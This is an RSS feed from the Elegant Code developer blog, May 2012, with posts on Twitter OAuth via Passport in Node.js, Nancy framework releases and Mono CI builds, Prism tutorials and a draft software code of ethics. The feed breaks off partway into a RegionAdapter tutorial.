<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Elegant Code</title>
	
	<link>http://elegantcode.com</link>
	<description />
	<lastBuildDate>Tue, 15 May 2012 10:00:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/ElegantCode" /><feedburner:info uri="elegantcode" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>Taking Toddler Steps with Node.js – Passport</title>
		<link>http://feedproxy.google.com/~r/ElegantCode/~3/Pz3wL8Ug_og/</link>
		<comments>http://elegantcode.com/2012/05/15/taking-toddler-steps-with-node-js-passport/#comments</comments>
		<pubDate>Tue, 15 May 2012 10:00:00 +0000</pubDate>
		<dc:creator>Jan Van Ryswyck</dc:creator>
				<category><![CDATA[Node.js]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=5167</guid>
		<description><![CDATA[Recently I added Twitter authentication to TrackMyRun using a library called Passport. I was pretty impressed how smooth this all went as I completely neglected all security concerns from the get go, which is definitely not recommended by the way. For this post I’ll walk you through the process of setting up Passport for Express [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">Recently I added Twitter authentication to <a href="http://elegantcode.com/2012/01/24/introducing-trackmyrun/" target="_blank">TrackMyRun</a> using a library called <a href="http://passportjs.org/" target="_blank">Passport</a>. I was pretty impressed how smooth this all went as I completely neglected all security concerns from the get go, which is definitely not recommended by the way. For this post I’ll walk you through the process of setting up Passport for <a href="http://expressjs.com/" target="_blank">Express</a> using Twitter OAuth authentication.</p>
<p align="justify"><a href="https://github.com/jaredhanson/passport" target="_blank">Passport</a> is actually the core library which provides support for OpenId and OAuth authentication. Instead of being one single monolithic library, Passport uses strategies that support authentication directly with specific <a href="http://passportjs.org/guide/openid-providers.html" target="_blank">OpenId</a>/<a href="http://passportjs.org/guide/oauth-providers.html" target="_blank">OAuth</a> providers. </p>
<p align="justify">So in order to get up and running, we need to install <a href="https://github.com/jaredhanson/passport" target="_blank">passport</a> as well as <a href="https://github.com/jaredhanson/passport-twitter" target="_blank">passport-twitter</a> for Twitter OAuth authentication. After we install these modules using npm, we can start by configuring the Twitter strategy.</p>
<pre class="csharpcode"><span class="kwrd">var</span> express = require(<span class="str">'express'</span>),
    passport = require(<span class="str">'passport'</span>),
    TwitterStrategy = require(<span class="str">'passport-twitter'</span>).Strategy;

<span class="kwrd">var</span> users = [];

passport.use(<span class="kwrd">new</span> TwitterStrategy({
        consumerKey: <span class="str">'twitter-app-consumer-key'</span>,
        consumerSecret: <span class="str">'twitter-app-consumer-secret'</span>,
        callbackURL: <span class="str">&quot;http://test.passport-twitter.com:3000/auth/twitter/callback&quot;</span>
    },
    <span class="kwrd">function</span>(token, tokenSecret, profile, done) {
        <span class="kwrd">var</span> user = users[profile.id] ||
                   (users[profile.id] = { id: profile.id, name: profile.username });
        done(<span class="kwrd">null</span>, user);
    }
));</pre>
<style type="text/css">
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p align="justify">&#160;</p>
<p align="justify">The strategy must be configured by providing the consumer key and consumer secret as well as the callback URL. I’m not going too much in depth on how OAuth works. Make sure to check out the <a href="https://dev.twitter.com/" target="_blank">Twitter for developers</a> website on how to configure an application that uses the Twitter API. </p>
<p align="justify">Besides adding the strategy for Twitter, we also specified a callback function. In this callback, we’re supposed to find and verify a user that matches a specified set of credentials. Usually we have some code here that checks to see if the specified user exists in a database of some sort. In order not to clutter this example, I used a simple array here instead. </p>
<p align="justify">If we can find the requested user in our data store, we need to invoke <em>done()</em> to supply the Passport with the user.</p>
<pre class="csharpcode">done(<span class="kwrd">null</span>, user);</pre>
<p>When the user cannot be found, we can simply pass <em>false</em> instead of a user object.</p>
<pre class="csharpcode">done(<span class="kwrd">null</span>, <span class="kwrd">false</span>);</pre>
<style type="text/css">
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p align="justify">In our example we always ensure that the specified credentials match a particular user object. Next we need to configure the Passport middleware for initialization and session management.</p>
<pre class="csharpcode">application.configure(<span class="kwrd">function</span>() {
    application.use(express.bodyParser());
    application.use(express.methodOverride());
    application.use(express.cookieParser());
    application.use(express.session( { secret: <span class="str">'498f99f3bbee4ae3a075eada02488464'</span> } ));
    application.use(passport.initialize());
    application.use(passport.session());
    application.use(application.router);
    application.use(express.errorHandler({ showStack: <span class="kwrd">true</span>, dumpExceptions: <span class="kwrd">true</span> }));
    application.set(<span class="str">'view engine'</span>, <span class="str">'jade'</span>);
});</pre>
<p>
<style type="text/css">
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
</p>
<p align="justify">Please note that the <em>express.session()</em> middleware needs be called before <em>passport.session()</em>. Next we add the routes necessary for authenticating requests and handling the token callback. </p>
<pre class="csharpcode">application.get(<span class="str">'/auth/twitter'</span>, passport.authenticate(<span class="str">'twitter'</span>));

application.get(<span class="str">'/auth/twitter/callback'</span>,
    passport.authenticate(<span class="str">'twitter'</span>,
        { successRedirect: <span class="str">'/'</span>,
          failureRedirect: <span class="str">'/auth/twitter'</span> }));</pre>
<style type="text/css">
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p align="justify">&#160;</p>
<p align="justify">Last but not least we also need to declare a <em>serializeUser/deserializeUser</em> callback function. These are necessary for supporting login sessions. </p>
<pre class="csharpcode">passport.serializeUser(<span class="kwrd">function</span>(user, done) {
    done(<span class="kwrd">null</span>, user.id);
});

passport.deserializeUser(<span class="kwrd">function</span>(id, done) {
    <span class="kwrd">var</span> user = users[id];
    done(<span class="kwrd">null</span>, user);
});</pre>
<p>
<style type="text/css">
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
</p>
<p align="justify">Instead of reading the requested user objects from the data store, we simply use the array that we incorporated earlier.</p>
<p align="justify">That’s basically the thing. We can add other authentication providers by simply configuring more strategies. Have a look at the <a href="https://github.com/JanVanRyswyck/node-examples/tree/master/passport" target="_blank">full source code</a> of this example and try to get it up and running.</p>
<p>Until next time.</p>
<img src="http://feeds.feedburner.com/~r/ElegantCode/~4/Pz3wL8Ug_og" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2012/05/15/taking-toddler-steps-with-node-js-passport/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://elegantcode.com/2012/05/15/taking-toddler-steps-with-node-js-passport/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=taking-toddler-steps-with-node-js-passport</feedburner:origLink></item>
		<item>
		<title>Nancy : 0.11, more than the sum of its parts</title>
		<link>http://feedproxy.google.com/~r/ElegantCode/~3/IGBz1LLvVVI/</link>
		<comments>http://elegantcode.com/2012/05/07/nancy-0-11-more-than-the-sum-of-its-parts/#comments</comments>
		<pubDate>Mon, 07 May 2012 21:14:13 +0000</pubDate>
		<dc:creator>Andreas Håkansson</dc:creator>
				<category><![CDATA[Nancy]]></category>
		<category><![CDATA[Announcement]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=5165</guid>
		<description><![CDATA[With out eleventh release just our the door, I was struggling to come up with a descriptive post title that captured the essence of the new version. Looking back at the 190 commits by 25 authors that make up the release,&#160; &#34;more than the sum of its parts&#34; is an appropriate description. A total of [...]]]></description>
			<content:encoded><![CDATA[<p>With out eleventh release just our the door, I was struggling to come up with a descriptive post title that captured the essence of the new version. Looking back at the <a title="Browse the full commit log for the 0.11 release" href="https://github.com/nancyfx/nancy/compare/v0.10.0...v0.11.0" target="_blank">190 commits by 25 authors</a> that make up the release,&#160; <em>&quot;more than the sum of its parts&quot;</em> is an appropriate description.     <br />A total of <a title="View the contributor list at the official Nancy website" href="http://nancyfx.org/contribs.html" target="_blank">78 contributors</a>, with more lining up with pending pull requests for future versions, have helped make Nancy the awesome framework we have the pleasure to put to your disposal. </p>
<h2>A glimps of what&#8217;s new</h2>
<p>It would take up far too much space to write about the <a title="Browse the full changelog for the 0.11 release" href="https://github.com/NancyFx/Nancy/issues?milestone=7&amp;page=2&amp;state=closed" target="_blank">62 work items</a> that&#8217;s gone in to this release, so instead I will just cherry-pick some of them and present them here. You should visit the milestone at github and check out everything that&#8217;s gone into 0.11.</p>
<ol>
<li>Favicon override by just dropping a favicon.ico/png anywhere in your application path. Can still override the FavIcon property in the bootstrapper if you wan&#8217;t custom logic or use an embedded icon </li>
<li>Updated the FluentValidation nuget dependency to 3.3.1.0. Turns out the FluentValidation nuget contains a strong-named assembly</li>
<li>Added AddFile to StaticContentConventionBuilder, enables you to map individual files </li>
<li>Allow Nancy to run on machines with <a title="Read more about the FIPS compliance" href="https://github.com/NancyFx/Nancy/pull/576" target="_blank">FIPS Compliance enabled</a></li>
<li>Added our own <em>ViewBag</em> concept and exposed it on several of the view engines</li>
<li>@helper functions are now supported by the Razor view engine</li>
<li> HtmlHelpers/UrlHelpers gained a face lift and now expose a rich set of properties, such access to the model, the render context (thus the actual NancyContext itself) and the engine itself. This opens up the door to write pretty much any kind of helper extension you can envision</li>
</ol>
<p>This is just a small selection of all the new features and improvements that have been added for this release, make sure to read the <a title="Browse the full change log of the 0.11 release" href="https://github.com/NancyFx/Nancy/issues?milestone=7&amp;page=2&amp;state=closed" target="_blank">full change log</a>.</p>
<h2>Breaking changes </h2>
<p>We really do try out best to limit the number of breaking changes that we introduce with each release. Some APIs are still being explored and as feedback comes in from users, we sometime feel the need to make some breaking changes in order to make the path forward easier on everyone, contributor or consumer. In this release we have <a title="Browse the list of breaking changes for the 0.11 release" href="https://github.com/NancyFx/Nancy/issues?labels=Breaking+Change&amp;milestone=7&amp;page=1&amp;state=closed" target="_blank">2 breaking changes</a> (the milestone says 3, but 2 of them relate to the same change, just different areas in the code base).</p>
<ol>
<li>Removed Nancy-Version header. In hindsight this was nothing more than a framework vanity place, put in by yours truly. I do agree to the idea of the less information you expose, the smaller the attack vector will be on your application and with this in mind we decided to pull the version out starting with this release. You can add it back in with an application pipeline hook if you have a need for it. If you don’t know how to, just drop us a line at the <a title="Visit the official Nancy user group" href="https://groups.google.com/forum/?fromgroups&amp;hl=en#!forum/nancy-web-framework" target="_blank">user group</a> and we’ll get you sorted in no time.</li>
<li>Added NancyContext everywhere. This is probably only going to affect you if you have been extending any of Nancy’s sub-systems (error handling, authentication, model binding and so on). There were a couple of sub-systems where the context was not available, which made it difficult, if not impossible, to sometimes get the full potential out of your code. Hopefully this change will improve the experience by quite a lot. If you spot a place where the context would do good, let us know.</li>
</ol>
<h2>What&#8217;s up next</h2>
<p>There are quite a lot of pending pull requests, with all sorts of interesting new features and improvements, that are waiting to be included in the next release. The main focus for me and Steven are going to be to add support for <em>async routes</em> and <em>content negotiation</em>. We have created a post, with the title <a href="https://groups.google.com/d/topic/nancy-web-framework/aYOuwzpzOqg/discussion" target="_blank">Planning 0.12 : Content Negotiation</a> to capture your ideas for how it should look and work in Nancy. We will be creating a similar post, soon, for async discussions. </p>
<p>We also have a goal of making more frequent releases, there is no point in holding back a release just because we want to get certain features into it, they can always come in the next iteration. We feel that it would be far more productive if we had a shorter (maybe every 3-4 weeks) release cycle so we get all the awesome stuff, that’s contributed by the community, into your hands faster.</p>
<p>That’s all for this release!</p>
<img src="http://feeds.feedburner.com/~r/ElegantCode/~4/IGBz1LLvVVI" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2012/05/07/nancy-0-11-more-than-the-sum-of-its-parts/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://elegantcode.com/2012/05/07/nancy-0-11-more-than-the-sum-of-its-parts/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=nancy-0-11-more-than-the-sum-of-its-parts</feedburner:origLink></item>
		<item>
		<title>Nancy : Now with Mono builds on every commit</title>
		<link>http://feedproxy.google.com/~r/ElegantCode/~3/Mken57zWljc/</link>
		<comments>http://elegantcode.com/2012/05/03/nancy-now-with-mono-builds-on-every-commit/#comments</comments>
		<pubDate>Thu, 03 May 2012 20:54:36 +0000</pubDate>
		<dc:creator>Andreas Håkansson</dc:creator>
				<category><![CDATA[Mono]]></category>
		<category><![CDATA[Nancy]]></category>
		<category><![CDATA[TeamCity]]></category>
		<category><![CDATA[Announcement]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=5163</guid>
		<description><![CDATA[We’ve always tried to make sure that Nancy being able to run on Mono for every new release we put out. Since neither me or @Grumpydev use Mono or MonoDevelop as our primary development environment, nor does a lot of our contributors, we’ve always found ourselves having to play “mono-catch-up” at the end of each [...]]]></description>
			<content:encoded><![CDATA[<p>We’ve always tried to make sure that <a title="Read more about Nancy on the official website" href="http://nancyfx.org" target="_blank">Nancy</a> being able to run on <a title="Read more about Mono on the official website" href="http://mono-project.com" target="_blank">Mono</a> for every new release we put out. Since neither me or <a title="Visit @Grumpydev on Twitter" href="http://twitter.com/Grumpydev" target="_blank">@Grumpydev</a> use Mono or <a title="Read more about MonoDevelop at the official website" href="http://monodevelop.com" target="_blank">MonoDevelop</a> as our primary development environment, nor does a lot of our contributors, we’ve always found ourselves having to play “mono-catch-up” at the end of each milestone.</p>
<p>Having that extra step in the release process is a bit of an impediment when all we want to do is ship the new bits, as fast as possible, so we can put them in the hands of our community. Obviously we needed a change in our process and it was obvious that we needed to incorporate a Mono build into our CI process.</p>
<p>This is actually not a new idea we’ve had. For probably the better part of a year I have been trying to figure out how to make this happen. We are proud users of the <a title="Read more about the CodeBetter TeamCity server at their website" href="http://teamcity.codebetter.com" target="_blank">CodeBetter TeamCity server</a> and it’s always worked well for us, with great support. So my goal has always been to get a Mono build agents wired into that. </p>
<p>For one reason or another, it’s always fallen short, that is, until now. About a month ago I decided to take another swing at this so I contacted the people at CodeBetter to check on the likelihood of having a Mono agent added. I’d also talked to the awesome <a title="Visit Dale Ragan on Twitter" href="http://twitter.com/dwragan" target="_blank">Dale Ragan</a> (of <a title="Read more about Moncai on their official website" href="http://moncai.com/" target="_blank">Moncai</a>, <a title="Read more about Monkey Square at their official website" href="http://monkeysquare.org/" target="_blank">Monkey Square</a> and <a title="Read more about Monospace at their official website" href="http://monospace.us/" target="_blank">Monospace</a>) if he’d be willing to share a bit of his time and knowledge around the subject, which is was more than willing to.</p>
<p>A couple of e-mails later, the plans had been made and Dale also informed us that Monkey Square would like to sponsor the build agent and cover the cost of the <a title="Read more about Amazon Elastic Compute Cloud (Amazon EC2) at their official website" href="http://aws.amazon.com/ec2/" target="_blank">EC2 instance</a> that it would be running on. How cool isn’t that of them!?!</p>
<p>Today we ran the first successful, automated, Nancy Mono build using the new build agent! This is going to make it so easier for us to make sure that everything is strawberries when it comes to Mono at the time we are ready to push out a new official version. We’ll get near instant feedback on each of our commits and every time we accept a pull request. This means we can act immediately to sort it out instead of risking to put them all on a pile (usually a very small pile.. more like a bump really, but still a list of things that needs to be sorted).</p>
<p><a href="http://elegantcode.com/wp-content/uploads/2012/05/image.png"><img style="display: inline" title="Nancy builds for .NET and Mono running on the Mono agent at the CodeBetter TeamCity server" alt="Nancy builds for .NET and Mono running on the Mono agent at the CodeBetter TeamCity server" src="http://elegantcode.com/wp-content/uploads/2012/05/image_thumb.png" width="518" height="144" /></a></p>
<p>(Yes, fewer tests on the Mono build because things like our WCF host is obviously not supported on Mono)</p>
<p>I would also like to make a shout-out to the awesome people at CodeBetter, especially    <br /><a title="Visit James Kovacs on Twitter" href="https://twitter.com/#!/jameskovacs" target="_blank">James Kovacs</a> and <a title="Visit Kyle Baley on Twitter" href="https://twitter.com/#!/kbaley" target="_blank">Kyle Baley</a> for their help in making this happen. A special thanks also goes out to <a title="https://twitter.com/#!/hhariri" href="https://twitter.com/#!/hhariri" target="_blank">Hadi Hariri</a>, of <a title="Read more about JetBrains on their official website" href="http://jetbrains.com" target="_blank">JetBrains</a>, for always helping out with my TeamCity questions and for encouraging me to push hard enough to make this a reality.    </p>
<img src="http://feeds.feedburner.com/~r/ElegantCode/~4/Mken57zWljc" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2012/05/03/nancy-now-with-mono-builds-on-every-commit/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://elegantcode.com/2012/05/03/nancy-now-with-mono-builds-on-every-commit/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=nancy-now-with-mono-builds-on-every-commit</feedburner:origLink></item>
		<item>
		<title>Building IG Outlook Part 1–Setting up the Prism Application</title>
		<link>http://feedproxy.google.com/~r/ElegantCode/~3/2noyHeviJNE/</link>
		<comments>http://elegantcode.com/2012/04/25/building-ig-outlook-part-1setting-up-the-prism-application/#comments</comments>
		<pubDate>Wed, 25 Apr 2012 20:03:18 +0000</pubDate>
		<dc:creator>Brian Lagunas</dc:creator>
				<category><![CDATA[Silverlight]]></category>
		<category><![CDATA[WPF]]></category>
		<category><![CDATA[Infragistics]]></category>
		<category><![CDATA[prism]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=5158</guid>
		<description><![CDATA[This is the first video in a series that will take you step-by-step on building a Prism application that mimics Microsoft Outlook.&#160; This video covers how to setup a multi-platform Prism application that targets WPF and Silverlight.&#160; I show you how to setup your directory structure, as well as the solution/project structure inside Visual Studio.&#160; [...]]]></description>
			<content:encoded><![CDATA[<p>This is the first video in a series that will take you step-by-step on building a Prism application that mimics Microsoft Outlook.&#160; This video covers how to setup a multi-platform Prism application that targets WPF and Silverlight.&#160; I show you how to setup your directory structure, as well as the solution/project structure inside Visual Studio.&#160; We also create a functional Silverlight and WPF shell application and see our first glimpse of code sharing with the bootstrapper.</p>
<p>Watch the video on <a href="http://xaml.tv/2012/04/25/building-ig-outlook-part-1-setting-up-the-prism-application/" target="_blank">Xaml TV</a>.</p>
<img src="http://feeds.feedburner.com/~r/ElegantCode/~4/2noyHeviJNE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2012/04/25/building-ig-outlook-part-1setting-up-the-prism-application/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://elegantcode.com/2012/04/25/building-ig-outlook-part-1setting-up-the-prism-application/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=building-ig-outlook-part-1setting-up-the-prism-application</feedburner:origLink></item>
		<item>
		<title>Building IG Outlook– Introduction to a Prism App</title>
		<link>http://feedproxy.google.com/~r/ElegantCode/~3/ue6FVEYn1G0/</link>
		<comments>http://elegantcode.com/2012/04/23/building-ig-outlook-introduction-to-a-prism-app/#comments</comments>
		<pubDate>Tue, 24 Apr 2012 01:41:57 +0000</pubDate>
		<dc:creator>Brian Lagunas</dc:creator>
				<category><![CDATA[Silverlight]]></category>
		<category><![CDATA[WPF]]></category>
		<category><![CDATA[Infragistics]]></category>
		<category><![CDATA[NetAdvantage]]></category>
		<category><![CDATA[prism]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=5156</guid>
		<description><![CDATA[Often when learning a technology you start by searching the web.&#160; You look for videos, blogs, articles, samples, and examples.&#160; What you start to realize is that everything you find is very simple “demo” code.&#160; That’s code that shows how to implement a simple feature in a non-realistic demo.&#160; Then you start looking for “production” [...]]]></description>
			<content:encoded><![CDATA[<p>Often when learning a technology you start by searching the web.&#160; You look for videos, blogs, articles, samples, and examples.&#160; What you start to realize is that everything you find is very simple “demo” code.&#160; That’s code that shows how to implement a simple feature in a non-realistic demo.&#160; Then you start looking for “production” code examples.&#160; That’s code that represents a more realistic implementation of an application in a production environment.&#160; This type of resource is very difficult to find.&#160; Why?&#160; Mainly, because it is very time consuming to create such examples.</p>
<p>This scenario is no different when trying to learn Prism.&#160; You probably first start by reading though the <a href="http://msdn.microsoft.com/en-us/library/gg406140.aspx" target="_blank">documentation</a>.&#160; Next, you head on over to Pluralsight and watch my <a href="http://www.pluralsight-training.net/microsoft/Courses/TableOfContents?courseName=prism-introduction" target="_blank">Introduction to Prism</a> course.&#160; Now that you know all the basics you start searching the web for examples for specific scenarios.&#160; How do I do “x” and “y”?&#160; How do I apply this sample code to my application?&#160; Hopefully I can help you answer those questions.</p>
<p>I am starting a new video series called Building IG Outlook.&#160; I will take you step-by-step on building a Prism application that mimics Microsoft Outlook.&#160; We will be discussing the following key areas in no specific order:</p>
<ol>
<li>Application architecture/structure </li>
<li>Multi-platform support (WPF and Silverlight) </li>
<li>Commanding </li>
<li>Event aggregation </li>
<li>Custom RegionAdapters </li>
<li>Custom RegionBehaviors </li>
<li>Navigation (OutlookBar, Ribbon, and View interaction) </li>
<li>MVVM (no frameworks needed) </li>
</ol>
<p>Like most production applications we will have a dependency on a 3rd party toolset.&#160; I will be using Infragistics NetAdvantage for WPF and Silverlight.&#160; If you don’t own Infragistics you can download the trial or purchase the suite so you can compile and run all the sample code.&#160; Otherwise, you will have to modify the code to work with your vendor of choice.</p>
<p>I hope this series will help you gain a better understanding of how you can use the various aspects of Prism to build your applications.&#160; This will be a long series and I plan to record at least one a week depending on my traveling schedule.&#160; If you have any questions or would like to see something specific be sure to let me know, and I will see if I can squeeze an example in the application.</p>
<img src="http://feeds.feedburner.com/~r/ElegantCode/~4/ue6FVEYn1G0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2012/04/23/building-ig-outlook-introduction-to-a-prism-app/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://elegantcode.com/2012/04/23/building-ig-outlook-introduction-to-a-prism-app/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=building-ig-outlook-introduction-to-a-prism-app</feedburner:origLink></item>
		<item>
		<title>Software Professional Code of Ethics</title>
		<link>http://feedproxy.google.com/~r/ElegantCode/~3/aD5sLbFsHKE/</link>
		<comments>http://elegantcode.com/2012/04/18/software-professional-code-of-ethics/#comments</comments>
		<pubDate>Wed, 18 Apr 2012 20:21:35 +0000</pubDate>
		<dc:creator>David Starr</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=5150</guid>
		<description><![CDATA[There was a time when I thought it might be worth it to try and create a Software Professional Code of Ethics. I no longer think the effort is worth it as there is already a big enough rat hole in this space as evidenced here. At the time this held my interest I read [...]]]></description>
			<content:encoded><![CDATA[<p>There was a time when I thought it might be worth it to try and create a Software Professional Code of Ethics. I no longer think the effort is worth it as there is already a big enough rat hole in this space <a href="http://en.wikipedia.org/wiki/Software_engineering_professionalism#Ethics" target="_blank">as evidenced here</a>. At the time this held my interest I read some codes of ethics from other fields and studied the matter.</p>
<p>Here is what I came up with at the time.</p>
<ol>
<li>Consider first the well-being of customers and colleagues, never exploiting them for any reason.</li>
<li>Give customers and colleagues respect, honesty, and confidentiality.</li>
<li>Be transparent in limitations in skill or ability, saying “I do not know” without shame.</li>
<li>Confer with appropriately qualified professionals when their skills are needed.</li>
<li>Prevent defects whenever possible, for prevention is preferable to correction.</li>
<li>Active collaboration with customers is required to provide correct solutions or services.</li>
<li>Practice the science and art of software development to the best of my ability.</li>
<li>Continue lifelong learning to improve my standard of software development.</li>
<li>Recognize some situations are beyond my capabilities and I cannot help my customer.</li>
<li>Ensure customers are aware of costs and risks to the best of my ability.</li>
<li>Gladly share knowledge with others, respecting the hard-won gains of technologists in whose steps I walk.</li>
<li>Consciously balance the competing forces of utility and elegance to provide appropriate and fit-for-purpose solutions.</li>
</ol>
<p>And here are some leftover questions I still have.</p>
<ul>
<li>Should we address stealing and/or crediting the work of others?</li>
<li>Should we address issues of data privacy and access?</li>
<li>What’s missing? </li>
<li>What shouldn’t be there? </li>
<li>Is there any point to this?</li>
</ul>
<img src="http://feeds.feedburner.com/~r/ElegantCode/~4/aD5sLbFsHKE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2012/04/18/software-professional-code-of-ethics/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		<feedburner:origLink>http://elegantcode.com/2012/04/18/software-professional-code-of-ethics/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=software-professional-code-of-ethics</feedburner:origLink></item>
		<item>
		<title>Create a Custom Prism RegionAdapter</title>
		<link>http://feedproxy.google.com/~r/ElegantCode/~3/tV6kMPW2ImE/</link>
		<comments>http://elegantcode.com/2012/04/18/create-a-custom-prism-regionadapter/#comments</comments>
		<pubDate>Wed, 18 Apr 2012 19:26:48 +0000</pubDate>
		<dc:creator>Brian Lagunas</dc:creator>
				<category><![CDATA[Prism]]></category>
		<category><![CDATA[Silverlight]]></category>
		<category><![CDATA[WPF]]></category>
		<category><![CDATA[prism]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=5148</guid>
		<description><![CDATA[Don’t want to read the article?&#160; Watch the video tutorial on Xaml TV. Prism provides 4 region adapters out of the box for you: ContentControlRegionAdapter SelectorRegionAdaptor ItemsControlRegionAdapter TabControlRegionAdapter (Silverlight only) Well, what happens when you want to use a different control as a region host?&#160; Simple.&#160; You need to write a custom region adapter for [...]]]></description>
			<content:encoded><![CDATA[<p>Don’t want to read the article?&#160; Watch the video tutorial on <a href="http://xaml.tv/2012/04/18/create-a-custom-prism-regionadapter/" target="_blank">Xaml TV</a>.</p>
<p>Prism provides 4 region adapters out of the box for you:</p>
<ul>
<li>ContentControlRegionAdapter </li>
<li>SelectorRegionAdaptor </li>
<li>ItemsControlRegionAdapter </li>
<li>TabControlRegionAdapter (Silverlight only) </li>
</ul>
<p>Well, what happens when you want to use a different control as a region host?&#160; Simple.&#160; You need to write a custom region adapter for it.&#160; Is it hard you ask?&#160; No it is quite easy.&#160; Let’s write one for the StackPanel.</p>
<p>Start by creating a class the derive from and implements the base abstract class RegionAdapterBase&lt;T&gt;.</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:42841886-07a5-4824-b616-f916daec35cc" class="wlWriterEditableSmartContent">
<div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt">
